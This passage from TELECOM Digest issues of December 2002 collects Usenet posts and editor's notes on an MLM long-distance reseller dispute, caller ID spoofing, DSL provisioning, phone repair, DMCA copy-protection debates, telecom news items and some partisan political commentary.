FOD from posters like Aaron. Keep up the good work! Rodgers Platt [TELECOM Digest Editor's Note: Quit picking on Aaron. He means well. I really feel alarmed for your son and his buddies on that cruise ship. Any day now, I expect Dubya's mental illness to deteriorate, and his Delusions of Grandeur to get to the point that we all turn into FOD. All except Dubya and his buddies of course; they've all had their small- pox vaccinations. PAT] ------------------------------ From: Heath Doane Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Sun, 22 Dec 2002 19:13:27 -0500 Organization: Bell Sympatico Just felt the need to add a few cents worth ... Aaron explained to us: > Do You Read Forbes magazine?? Go buy this months issue and last > months issue read them untill then You have zero credability ... > How about the wallsreet journal?? read this article > http://stacks.msnbc.com/news/816517.asp?cp1=1 Strangely enough, I worked for a ""well reviewed"" startup, too -- 6 months after our glowing reviews came out, we were gone, leaving 60 million in stranded debt, and destroying the companies and people we had interacted with ... Long story short, this month's swan may be next month's ugly duck. Also, while I didn't scour the posted articles, where's the connection to your company? I know that the RBOCs, ILECs and established CLECs are evil... But no where did I see Excel (or whatever you're called again) named ... > I called those [BEEP!] and they hung up on me...5 times > I even talked to a rep for 5 minutes,I explained everything, she goes > hold on let me check.....click.. that [BEEP!]... > They would NOT tell me where there DSL office was in Milwaukee so I > could go and talk to somebody that cant [BEEP!] hang up on me he would > probably try to run away. If you express yourself as eloquently in person and on the phone as you do here, no wonder they hang up on you. There are processes to deal with the carriers when they're out of line. Did you contact your PUC? What about your elected officials? Or did this just seem to be a good entrance into sales for you? > So here I am > Mad as hell > And I, not You, am doing something about it > and soon you will > all see I am not full of [BEEP!] Generally speaking, the more someone insists they're not full of, as Pat put it, ""BEEP!"" - the more ""BEEP"" they contain. Also, on a personal note, the picture of you holding the world in your hands? Nice touch ... Makes you seem very down to earth and approachable. Pat, thanks for posting this up - always love a good laugh! Heath [TELECOM Digest Editor's Note: I assumed that picture was intended to be an artist's interpretation of Ayn Rand's book *Atlas Shrugged* with Aaron in the role of Atlas (or maybe John Galt or Dagney Taggart) holding things together. PAT] ------------------------------ From: betaphihack@hotmail.com (A. Hackbarth) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: 22 Dec 2002 22:10:45 -0800 Organization: http://groups.google.com/ > *whackwhackwhack* Ouch my head hurts quit it... > [TELECOM Digest Editor's Note: Thank you, Aaron, for that explanation > and although I have not looked at your web site, I am sure it says > about the same things as above. Sorry about having to apply the red > button cut-off now and then, but this is a Family Oriented Digest with > Family Values, and I do not want to worry about what Families who > read Usenet together see in messages, but I did want you to say it all > in your own words. PAT] Thanks for the radio edit :) I starred out the vowels on the bad stuff and left in the pg-18, but I now realize this is family oriented ... so Ill keep it rated G from now on ... If you want there is now a divx movie on my site you can watch if you want to see more the link is http://www.aaronhackbarth.com/english/businessmovie.avi ..by next weekend ill have one shot from a tripod up on the site.. and the name is Excel powered by Vartec so check out http://www.vartec.com there you will find the networks and technical side and www.excelir.com/ahbiz shows business side and the services I offer from my site and excel.com is the official site.. this is the best kept 2billion + secret in the industry Aaron [TELECOM Digest Editor's Note: Thanks again for writing to us, Aaron. As before, I chose not to edit your message at all, like I do for many of these guys, and since you dropped the vulgarities from your message, we should get along fine. Good luck in getting lots of people signed up for your service, and Merry Xmas to you. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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Townson Microsoft Sued For Stealing Mobile Phone Secrets (Monty Solomon) Intertel vs. Harris 20-20 (Dave Turnbull) Re: SBC Ameritech Hosed Me and Now I Get Even (John R. Levine) Re: SBC Ameritech Hosed Me and Now I Get Even (Steven J. Sobol) Excel in Everything - Except Spelling (Joey Lindstrom) Re: Call Blocking Box For All Numbers From a Given Country? (John Galt) Re: Providing DSL Service Without Any POTS? (Robert Bonomi) Re: Lucent/AT&T 4 Line Analog Phone Won't Release Hold (Frank Winans) Re: How Do You INSERT CID (Scott Dorsey) Re: Repairing a Northern Telecom 2500 (Jim Hopkins) www.dmcablows.com (Joey Lindstrom) www.dubya.com (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 24 Dec 2002 00:50:20 -0500 From: Monty Solomon Subject: Microsoft Sued For Stealing Mobile Phone Secrets By Lucas van Grinsven AMSTERDAM, Dec 23 (Reuters) - British mobile phone maker Sendo said on Monday it had filed a suit in a U.S. federal court against its former partner Microsoft (NASDAQ:MSFT), accusing it of stealing its technology and customers. The small British cellphone maker was Microsoft's key partner in entering the 400 million unit a year mobile phone market until the two companies unexpectedly cut ties last month without disclosing all the reasons why they fell out. The court filings allege that Microsoft, in search of new growth markets but lacking mobile phone expertise, extracted crucial information about the industry from Sendo and passed it on to friendly low-cost contract manufacturers in Asia. Privately owned Sendo may claim several hundred million dollars in damages, according to people familiar with the court proceedings. - http://finance.lycos.com/home/news/story.asp?story=30660315 ------------------------------ From: dave.turnbull@omsg.co.uk (Dave Turnbull) Subject: Intertel vs. Harris 20-20 Date: 23 Dec 2002 14:49:46 -0800 Organization: http://groups.google.com/ We are considering replacing a Harris (Teltronics) 20-20 with an Inter-tel Axxess solution to run a multi-site skills based call centre with PBX functionality for each site as well as intra-site voip calls across existing leased lines. Does anybody have experience of this, because the Inter-tel solution (price) seems almost too good to be true based upon our experience with the 20-20. I am told that performance and capabilities of the Axxess is not on a par with the 20-20 - any comments? Thanks, Dave ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: 23 Dec 2002 14:55:49 -0500 Organization: I.E.C.C., Trumansburg NY USA > But no where did I see Excel (or whatever you're called > again) named ... Excel is a long distance reseller offering long distance service via an MLM pyramid. They're like most other MLMs in that the true believers think they're absolutely wonderfully fantastic, and the rest of the world wishes they'd stop bugging us with eye-glazing opportunity spiels. The last time I checked, their rates were mediocre, nowhere near as good as the truly low cost providers, but no worse than the heavily advertised ones. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Mon, 23 Dec 2002 21:18:22 -0000 Organization: JustThe.net LLC 'A. Hackbarth' : > and www.excelir.com/ahbiz shows business side and the services I > offer from my site and excel.com is the official site.. > this is the best kept 2billion + secret in the industry I guess this is on-topic, since CDT *is* a telecomms newsgroup. However, I'll be exceedingly skeptical unless you can show me some firm proof that you can actually make money on Excel, and I want to see proof that *you* personally are making money. Excel is still an MLM. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Joey Lindstrom Date: Mon, 23 Dec 2002 10:50:18 -0700 Subject: Excel in Everything - Except Spelling Reply-To: joey@telussucks.info On Sun, 22 Dec 2002 16:46:20 EST, editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: Thank you, Aaron, for that explanation > and although I have not looked at your web site, I am sure it says > about the same things as above. Sorry about having to apply the red > button cut-off now and then, but this is a Family Oriented Digest with > Family Values, and I do not want to worry about what Families who > read Usenet together see in messages, but I did want you to say it all > in your own words. PAT] In a recent Dilbert book, Scott Adams laments that he would dearly love to be an NFL linebacker. However, weighing in at 150 pounds, he is physically unsuited for the job. He went on to remark that, similarly, somebody who measures their panty size by the hectare should probably not be working in a lingerie shop. Somebody who is trying to sell me a communication service should at least have some mastery of the rudiments of communication, and that starts with spelling. This guy has about a grade-7 ability to spell and construct sentences. Whether it's a correct assessment or not, this brings to mind an image of some backwards hillbilly living in a trailer somewhere in the hills, and NOT an image of a successful sales representative who's going to be around to (intelligently) answer my questions when Excel starts screwing up my bill. Sorry Aaron, but every instinct I've got tells me to run away screaming from you and your ""offer"". As for your inability to communicate in the written medium, they're called ""night classes"". Look into it. Joey Lindstrom Telus Sucks http://www.telussucks.info ------------------------------ From: John David Galt Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: Mon, 23 Dec 2002 17:59:31 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Alex Kasper wrote: > I can call you 'from' anyone or any country, and if you trust that > information for verification you need to rethink your security model. The same thing has traditionally been true on the Internet. But after a few denial-of-service attacks were performed on Internet sites by flooding them with connection requests whose originating IP address was spoofed, most reputable ISPs have started filtering their outgoing traffic so that no one can send a packet with a spoofed originating IP address. Sites that won't do this will be blacklisted and wind up effectively cut off. It's time for LECs to similarly block their customers with PBXes from transmitting phony Caller ID information. And for us to start a blacklist of LECs that won't. ------------------------------ Subject: Re: Providing DSL Service Without Any POTS? Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Tue, 24 Dec 2002 02:21:50 GMT In article , Steven J. Sobol wrote: > Phil Earnhardt wrote: >> Would it be reasonable to have the PUCs require the RBOCs to provide >> DSL service to their customers without having POTS on the line? This >> would be good for cutsomers who had cellphone service and didn't >> really need an voice line into the house. > SDSL and non-line-shared ADSL are already available, but all of the > DSL companies I've seen require a phone number to determine which CO > your DSL would be served out of. One _can_ get around that. It takes some persistance, but it _is_ doable. Speaking from first-hand experience. I'm corporate tech-support, co-ordinating a DSL install for 'work from home' for one of our employees, who had gone cellular-only more than a year previously. This was several years ago, and the only offerings were 'non-shared'. The 'initial' pre-qualification was easy -- building was a two-unit apartment building, just used the number for the 'neighbors'. Getting the order through to completion took some effort. The DSL company (Covad) computers wouldn't accept the order _without_ a phone number. When they submitted it to the ILEC (Ameritech) *their* computers rejected it *if* it had a phone number (their system _knew_ there was no phone service at that unit). Eventually, persistance paid off, and Covad management figured out how to keep all the computers happy. The *installer* was more than a little bit puzzled, though. His work order showed the on-site phone number as ""000-0000"" ------------------------------ From: Frank Winans Subject: Re: Lucent/AT&T Four Line Analog Phone Won't Release Hold Date: Mon, 23 Dec 2002 12:14:05 -0600 Organization: Airnews.net! at Internet America Herb Stein wrote: > Frank Winans wrote: >> The Lucent 854 phones, though analog, employ digital status >> information, sent _only_ on the first line, to support the ""hold"" feature. > Hey! I use 854's and am real happy with them. The DID feature is the > best feature. A staffer can reroute the call after picking it up, but no, I don't think the original external caller can divert the call to a specific extension before anyone picks up the phone, which is what I think of as DID. These are being used standalone, not in conjunction with any switch or private pbx. ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: How Do You INSERT CID Date: 23 Dec 2002 14:59:12 -0500 Organization: Former users of Netcom shell (1989-2000) In article , Jim Thompson wrote: > I'd like to ring phones inside my house but also send caller-ID. > I'm an EE, so it'd be no problem to build up something, but surfing > has yielded zero. > Any ideas? The Motorola data book lists the full CID specs on the data sheets with the Motorola caller-ID chips. It's just straight FSK on the line between the first and second rings. scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ From: Jim Hopkins Subject: Re: Repairing a Northern Telecom 2500 Organization: Prodigy Internet http://www.prodigy.com Date: Mon, 23 Dec 2002 20:04:22 GMT If I understand what you're saying correctly, you can hear your own DTMF signals when you dial perfectly fine but the voice of the far-end party is muted. If that's the case, you might try cleaning and/or adjusting the 'normalling' contacts on the DTMF dial. Usually the older DTMF dials would have a set of contacts that would place a low resistance across the receiver network when a button was pressed, in effect swamping the incoming signal, so that your dialed digits wouldn't be painfully loud in your ear. Possibly those contacts aren't opening when you release the buttons. Jim Nebular wrote in message news:telecom22.206.4@telecom-digest.org: > I am having a bit of trouble with a Northern Telecom 2500 (or rather a > we2500 as I've read they're the same thing) I just got. > The phone for the most part works fine, however when I try to use it, > the dial tone and anything else on the other end of the line is very > faint. It's not a problem with the receiver as the Touch-tone comes > through perfectly loud and it seems to only affect incoming signals as > I've made calls with it and the person on the other end could hear me > perfectly. > Any ideas? Any help? > I'm only a beginner hobbyist so schematics are a bit to hard to read, > however I can use a multimeter and should be able to tinker with it > easily. > I've tried checking the web for info on this but it's a vast sea of > info thus it's been tough (I feel lucky to have found this > newsgroup). If you could also email me with the info, as I'm not a > regular reader of newsgroups and it's easier for me to archive the > info after the fact. > Thanks in advance. > Neb > [TELECOM Digest Editor's Note: No guarentees, but try first swapping > out the earpiece speaker (or the entire handset receiver if you cannot > get into the earpiece itself) and see if that helps. Many times a > problem with hearing/speaking on old phones can be traced to the > speaker/microphone in the handset. PAT] ------------------------------ From: Joey Lindstrom Date: Mon, 23 Dec 2002 13:53:04 -0700 Subject: www.dmcablows.com Reply-To: joey@telussucks.info On Mon, 23 Dec 2002 14:12:49 EST, editor@telecom-digest.org wrote: > their other computers, etc. Maybe the copyright people would settle > for some arrangement where files could be copied a certain number of > times on other devices (although played indefinitly on any one device) > before shutting down the copying mechanism. Motorola cell phones used > to be fixed that way: the user of the phone could reprogram it three > times with new numbers, etc, then the phone would lock up against any > further number changes, and the 'owner' had to take the phone back to > a dealer or the company, explain himself, and get the phone unlocked > for further programming efforts. Some people knew how to clear the > counter that locked you out after three times, but not many people. > Maybe the DMCA could operate with that principle; do what you want > with *your paid for, personally owned* copy three or four times, then > no more allowed. That would allow most guys to put their thing on > two or three different computers, etc, allow them to personally use > the copy indefinitly, but then lock out further copies. PAT] I'm not sure how you'd implement something like that, Pat, at least with current technology. Specifically, where does this counter get stored? Ideally, it would be stored on the distribution media, but most media is read-only (ie: CD's, DVD's), so how would it (the disc) be able to keep track of how many times it's been copied, and/or where it's been copied, etc.? I've heard suggestions that the program doing the copying could track this, but really -- that's a non-starter. If my copying software stops allowing me to copy a particular disc, I'll just take that disc to another machine (with another copy of the copying software installed) that hasn't yet seen that disc. I have six computers running at home and have access to four more at the office -- plenty of opportunity for some serious copyright violation. :-) The entertainment companies are going to have to understand (and in fact, probably do to a large degree) that while certain schemes may make it difficult for ""average"" users to copy their material, the fact that it's DIGITAL makes it inevitable that not only will copying take place, but that the copies will be perfect duplicates of the original. No amount of jiggery-pokery is going to stop that - anything that can be done in software (or hardware) can be undone by a determined hacker. :-) DirecTV systems have a ""smart-card"" with an onboard ASIC chip that handles all of the decryption duties - so far, the hackers haven't found a way to software-emulate that ASIC chip. That hasn't stopped 'em from writing completely new scripts and programming them on the card - scripts that bypass whatever security measures DirecTV is using this week. A CD or a DVD doesn't have access to something even as advanced as this -- it's just a pile of data, sitting there waiting to be read by a laser beam. And that's why we've got bullshit laws like the DMCA -- we can't stop people reading the data, but let's make it illegal to even MAKE something that could, POSSIBLY, defeat whatever feeble copy-protection measures that were included on the disc and thus permit duplication. I really, really hope the DMCA goes down (or at least gets greatly modified). It goes WAY too far. Under its provisions, we'd never have had the home VCR, and IBM would still be making all of our PC's (well, and Apple). Hell, even Coleco would never have gotten away with their ""Colecovision Atari Emulator"". :-) In the same vein, none of the companies that got started by making game cartridges for the old Atari VCS would have been permitted to do so. Companies like Activision, for example. Joey Lindstrom Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: What would be wrong with the media company (let's call them 'publishers') supplying TWO copies of the media; the 'original' and the 'backup' copy. Do as you please ONE TIME with the backup copy. I bought some computer software once from a company which did that; they gave you your copy to use, and a backup copy at the same time. Another possibility is the publisher would include a serial number with your purchase, and that serial number entitled you to call their office for one, two or even three additional copies. When you placed your order you could ask for one, two or three copies (in which case the serial number would so indicate that the order had been completely filled.) If I understand this matter correctly, most guys are not interested in cheating and making an infinite number of copies to use on the net, all their friends, etc, they are mainly interested in being sure they themselves can use the media as intended. Wouldn't including (or allowing for the shipping of) two or three extra copies of the media still turn out less expensive for the publishers than the wholesale cheating which is going on now? PAT] ------------------------------ From: Joey Lindstrom Date: Mon, 23 Dec 2002 13:58:15 -0700 Subject: www.dubya.com Reply-To: joey@telussucks.info On Mon, 23 Dec 2002 14:12:49 EST, editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: Quit picking on Aaron. He means well. I > really feel alarmed for your son and his buddies on that cruise ship. > Any day now, I expect Dubya's mental illness to deteriorate, and his > Delusions of Grandeur to get to the point that we all turn into FOD. > All except Dubya and his buddies of course; they've all had their small- > pox vaccinations. PAT] War now, on America's timetable, or war later, on Saddam's -- once he's got nukes. Take your choice. Unless you like the idea of a nuclear September 11th, the smart money votes ""war now"". Joey Lindstrom Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: If those were the only two choices, I suppose I would agree. But I am not convinced things are that cut and dry. All Mr. Hussein is asking for is to be left alone. I mean, he has supplied a twelve thousand page document saying they have no nuclear devices, which is more than Yemen or North Korea can say. How many different ways are there for him to say he does not have nuclear weapons? What difference does it make in practical terms if a nuclear war starts as a result of Mr. Hussein, or the Yemen people or the North Korea people? Thirty years ago we were absolutely convinced that Moscow and Nikita Krucshev were the enemy. A couple weeks ago when the USA intercepted those scud missiles traveling from North Korea to Yemen and the USA 'reluctantly' allowed the shipment to continue, Mr. Hussein spoke to Fox News, PBS and the Christian Science Monitor and asked, 'why is it that North Korea and Yemen can have scud missles, but Dubya says I cannot have them? I have written twelve thousand pages attempting to 'prove' what does not exist.' And thus far, the supposedly impartial inspectors from the United Nations (where the USA refuses to pay its dues unless/until it gets its way) have been unable to find any signs of weapons like that either. And they have looked everywhere, but are afraid to quit looking because Dubya will go spastic if they do. Dubya, in his rationalization of his illness, insists they must be there 'someplace' and that by God they will be found, and confiscated. 'Confiscated' as in what happens to guns taken by police from gang members in Chicago, El Lay and Washington, DC. Corrupt police officers (and which ones are not?) put the guns back on the street in the hands of other gang members. No Joey, its not an either/or situation like you describe. At least, I think not. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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End of TELECOM Digest V22 #207 ****************************** >From editor@telecom-digest.org Thu Dec 26 01:54:49 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBQ6snh04441; Thu, 26 Dec 2002 01:54:49 -0500 (EST) Date: Thu, 26 Dec 2002 01:54:49 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212260654.gBQ6snh04441@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #208 TELECOM Digest Thu, 26 Dec 2002 01:55:00 EST Volume 22 : Issue 208 Inside This Issue: Editor: Patrick A. Townson Microsoft Plans to Appeal Java Ruling (Monty Solomon) Penn's Specialist on Privacy Sees Her Niche Broadening (Monty Solomon) White House Scrambles to Defuse Privacy Concerns (Monty Solomon) Blogs Make the Headlines (Monty Solomon) ISP Chief: Spam Is 'A Thousand Times More Horrible Than ...' (M Solomon) U.S. Retailers Face Worst Holiday Sales in 30 Years (Monty Solomon) Country Road, Take Me to the Internet Superhighway (Monty Solomon) Verizon Blames Layoffs in Western New York on Loss of Business (J Stahl) Re: Critics Weigh In on Copyright Act (JDS) Re: Call Blocking Box For All Numbers From a Given Country? (Dave Phelps) Re: SBC Ameritech Hosed Me and Now I Get Even (Grog@lnubb.pbz) Re: www.dmcablows.com (Peter Dubuque) Importing .wav Files Into Bitware (*selah*) Re: Pop-ups Add New Twist (Walter Dnes) Re: www.dubya.com (Ed Ellers) My New Spy Cam Software and Web Page (TELECOM Digest Editor) Happy Holidays (Bob) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 24 Dec 2002 11:26:13 -0500 From: Monty Solomon Subject: Microsoft Plans to Appeal Java Ruling Sun Microsystems Inc. won a victory against the digital age equivalent of Goliath when a judge ordered Microsoft Corp. to clude updated Java programing language in its Windows operating system. Sun had argued during a three-day hearing earlier this month that Microsoft has gained an unfair advantage by shipping Windows _ used by more than 90 percent of the world's personal computers _ with an outdated version of Java that's inconsistent for its users. U.S. District Judge J. Frederick Motz granted Sun a temporary injunction Monday and said he would order Microsoft to stop shipping the old version. Microsoft said it will consider appealing the ruling. A spokesman added that it was ""premature"" to comment on when the latest version of Java will be included in Windows. In asking for the injunction, Sun said that if it waited until its $1 billion antitrust lawsuit against Microsoft was settled, it would be too far behind to compete. http://finance.lycos.com/home/news/story.asp?story=30669301 ------------------------------ Date: Tue, 24 Dec 2002 11:41:52 -0500 From: Monty Solomon Subject: Penn's Specialist on Privacy Sees Her Niche Broadening By Shari Rudavsky, Globe Correspondent, 12/22/2002 When Lauren Steinfeld attended the University of Pennsylvania, she, like most other college students, didn't blink when her Social Security number became her student ID. Now the 1989 Penn alumna spends her days thinking about privacy issues at the Philadelphia school. In January, Steinfeld, who has a law degree from New York University, became Penn's chief privacy officer. Although some schools have appointed officials to oversee compliance with new federal health privacy laws, Penn officials said they know of no other university with a post that has such a broad scope. Steinfeld recently spoke to the Globe about her job and its impact on higher education. http://www.boston.com/dailyglobe2/356/learning/Penn_s_specialist_on_privacy_sees_her_niche_broadening+.shtml ------------------------------ Date: Tue, 24 Dec 2002 12:30:32 -0500 From: Monty Solomon Subject: White House Scrambles to Defuse Privacy Concerns By Roy Mark The White House scrambled over the weekend to alleviate privacy violation fears raised by its proposal to build a monitoring system as an ""early warning center"" to track Internet use in the U.S. The proposal is part of the final version of ""The National Strategy to Secure Cyberspace,"" expected to be released in early 2003. According to reports last week, the Bush Administration would require Internet service providers (ISPs) to build the system and to track their users. Few details were released by the White House. The proposal immediately raised concerns from privacy advocates who said the idea may cross a line regarding current corporate and personal privacy laws. http://dc.internet.com/news/article.php/1560701 ------------------------------ Date: Tue, 24 Dec 2002 12:35:21 -0500 From: Monty Solomon Subject: Blogs Make the Headlines By Noah Shachtman It's safe to assume that, before he flushed his reputation down the toilet, Trent Lott had absolutely no idea what a blog was. He may have a clue now. Internet opinion pages like Instapundit, run by University of Tennessee law professor Glenn Reynolds, and Talking Points Memo, from leftie political columnist Josh Marshall -- were among the first to latch on to ABCNews.com's brief item on Lott's racist comments during Strom Thurmond's 100th birthday bash. And they kept focusing on Lott's hateful past -- until the national press corps finally had to take notice. http://www.wired.com/news/culture/0,1284,56978,00.html ------------------------------ Date: Tue, 24 Dec 2002 16:48:54 -0500 From: Monty Solomon Subject: ISP Chief: Spam Is 'A Thousand Times More Horrible Than You Can ISP Chief: Spam Is 'A Thousand Times More Horrible Than You Can Imagine' By Mitch Wagner, InternetWeek Go on. Ask Barry Shein about spam. But be prepared for an earful. Shein is president of The World, a small, 10,000-user Internet service provider in Boston. Founded in 1989, The World was a pioneering commercial Internet service. It has survived competition from the telecoms and weathered the dot-com meltdown, but Shein is worried that it won't survive spam. http://www.internetwk.com/story/INW20021219S0003 ------------------------------ Date: Tue, 24 Dec 2002 21:59:32 -0500 From: Monty Solomon Subject: U.S. Retailers Face Worst Holiday Sales in 30 Years By Emily Kaiser CHICAGO, Dec 24 (Reuters) - U.S. retailers, reeling from a lackluster holiday season that is forecast to be the weakest in more than 30 years, may ring in the new year with steep markdowns on clothing, accessories -- and profit forecasts. Analysts cut earnings estimates for retailers ranging from sector leader Wal-Mart Stores Inc. (NYSE:WMT) to upscale jeweler Tiffany & Co. Inc. (NYSE:TIF) on Tuesday, a day after major chain stores reported another week of tepid sales in what was supposed to be the biggest shopping period of the year. In a weekly report on Tuesday, the Bank of Tokyo-Mitsubishi and UBS Warburg forecast holiday sales in November and December would be up an anemic 1.5 percent over last year, the smallest gain since the banks began tracking weekly sales in 1970. That's a far cry from the 4 percent rise forecast by the National Retail Federation, although the trade group still believes its target is reachable. The NRF looks at total holiday sales when calculating its forecast, while others including BTM/UBSW focus on sales only at large chains. - http://finance.lycos.com/home/news/story.asp?story=30673839 ------------------------------ Date: Wed, 25 Dec 2002 23:47:37 -0500 From: Monty Solomon Subject: Country Road, Take Me to the Internet Superhighway, and Fast High speed access reaches rural Wash. via cable connections By Eli Sanders, Globe Correspondent, 12/25/2002 EPHRATA, Wash. - On the lightly trafficked main street in this small, rural town, one store is advertising something local residents had never seen before: ''Internet Connections at the Speed of Light.'' The connections arrived due to an innovative program reminiscent of the public power projects that brought electricity to much of the West. With a nudge from federal, state, and local agencies, high speed Internet service providers are reaching rural areas via extra space on fiber-optic cables owned by public power providers. Bob Lahmann, a transmission account executive at the Bonneville Power Administration, said that bringing broadband to the hinterlands seemed like a natural for the federally chartered agency. http://www.boston.com/dailyglobe2/359/nation/Country_road_take_me_to_the_Internet_superhighway_and_fast+.shtml ------------------------------ Date: Tue, 24 Dec 2002 12:29:16 -0500 From: John Stahl Subject: Verizon Blames Layoffs in Western New York on Loss of Business Dec. 20 -- Oil embargoes, wars, stagflation -- workers for New York's local telephone company weathered all kinds of economic storms without a layoff. Until Thursday morning, when decades of job security ended. About 180 workers throughout Western New York received pink-slips from Verizon, most of them repair and maintenance staff. The layoffs, part of a 2,400 cutback statewide, were the first for blue-collar phone workers since World War II, perhaps even before that, company and union officials said. ""This is the first (layoff) since we were NYNEX, Bell Atlantic and New York Telephone,"" said Mary Jo Arcuri, business manager of International Brotherhood of Electrical Workers Local 2213. The rare action underscores the changes sweeping the telephone industry. Under the 1996 Telecommunications Act, competitors are beginning to offer an alternative to the century-old Bell monopoly. http://telecomcareers.net/SMF/doc_hitechemploy.html?SMContentIndex=4&SMContentSet=0 ------------------------------ Subject: Re: Critics Weigh In on Copyright Act From: JDS Organization: Prodigy Internet http://www.prodigy.com Date: Tue, 24 Dec 2002 20:17:52 GMT > [TELECOM Digest Editor's Note: ... > ... Maybe the copyright people would settle > for some arrangement where files could be copied a certain number of > times on other devices (although played indefinitly on any one device) > before shutting down the copying mechanism ... Technological solutions to sociological problems never work. For one thing, there's always the ""analog hole"" which allows complete circumvention of any copyright scheme. And people will always find ways to really beat the copy protection scheme -- especially when digital media are involved, allowing software analysis and manipulation. But there is the larger question of what you're buying when you buy a published work such as a musical recording or book. By historical practice and common agreement, you generally are purchasing a transferrable perpetual license for the personal enjoyment of that work. For example, most people -- and the courts -- agree that if I bought an LP back in 1971, I have the right to copy that to MP3 so that I can listen to it today on my computer, and to an iPod, or a CD for my car CD player. I can copy it to my MP3 player on Thursdays and my iPod on Wednesdays ... Hardware copy-protection schemes won't allow that. I don't have or claim the right to publish it on the Internet or give it away (unless its copyright has expired and it's moved into the public domain -- alas nowawadays copyright protection is almost perpetual). But by way of preventing theft, the RIAA is going to make their digital publications worth far less. By analogy, most people will pay $20 for a hardcover book that they read once and leave on the shelf forever; how much would they pay if that book self-destructed after that first reading, or if it worked only on that ancient computer that you discarded many years ago? We shall see how much people will be willing to pay for highly restricted media licenses. ------------------------------ From: Dave Phelps Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: Tue, 24 Dec 2002 15:34:48 -0600 In article , jdg@diogenes.sacramento.ca.us says: > It's time for LECs to similarly block their customers with PBXes from > transmitting phony Caller ID information. And for us to start a > blacklist of LECs that won't. That's an interesting idea, but if they are sending incorrect CLID info, what information do you blacklist? Even if you asked them who they were, and managed to get a real TN for them, how would you block it? Dave Phelps Phone Masters Ltd. deadspam=tippenring [TELECOM Digest Editor's Note: That sort of happens now when individual customers of telco are allowed to block calls based on the 'last call received'. I guess the only way it would work would be if someone got blacklisted, no other telcos would agree to accept any incoming calls from the blacklisted number. It would be hard to keep it all straight however. PAT] ------------------------------ From: Grog - nf3561@lnubb.pbz Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Wed, 25 Dec 2002 17:09:25 GMT Organization: Road Runner - NC On Mon, 23 Dec 2002 12:25:17 -0000, sjsobol@JustThe.net (Steven J. Sobol) wrote: >> what about Money Magazine?? >> Money Magazine stated: ""Excel Communications is as good an example >> of entrepreneurship the world will ever see."" > Excel Communications is an MLM, and I don't trust MLMs. I'll second that MLM gimmick. Danger! Danger Will Robinson! Grog ------------------------------ From: Peter Dubuque Subject: Re: www.dmcablows.com Date: Tue, 24 Dec 2002 16:23:22 UTC Organization: PANIX Public Access Internet and UNIX, NYC > [TELECOM Digest Editor's Note: What would be wrong with the media > company (let's call them 'publishers') supplying TWO copies of the > media; the 'original' and the 'backup' copy. Do as you please ONE TIME > with the backup copy. I bought some computer software once from a > company which did that; they gave you your copy to use, and a backup > copy at the same time. Another possibility is the publisher would > include a serial number with your purchase, and that serial number > entitled you to call their office for one, two or even three > additional copies. When you placed your order you could ask for one, > two or three copies (in which case the serial number would so indicate > that the order had been completely filled.) If I understand this > matter correctly, most guys are not interested in cheating and making > an infinite number of copies to use on the net, all their friends, > etc, they are mainly interested in being sure they themselves can use > the media as intended. Wouldn't including (or allowing for the > shipping of) two or three extra copies of the media still turn out > less expensive for the publishers than the wholesale cheating which > is going on now? PAT] The fundamental problem here, and one that's going to require far more deep thought than just ""give people an extra copy"", is that media companies' business model relies on scarcity. Companies exclusively market works by particular artists, sell higher-priced ""limited edition"" works with often negligible added value, sell releases for a limited time, etc., and control pricing by means of this 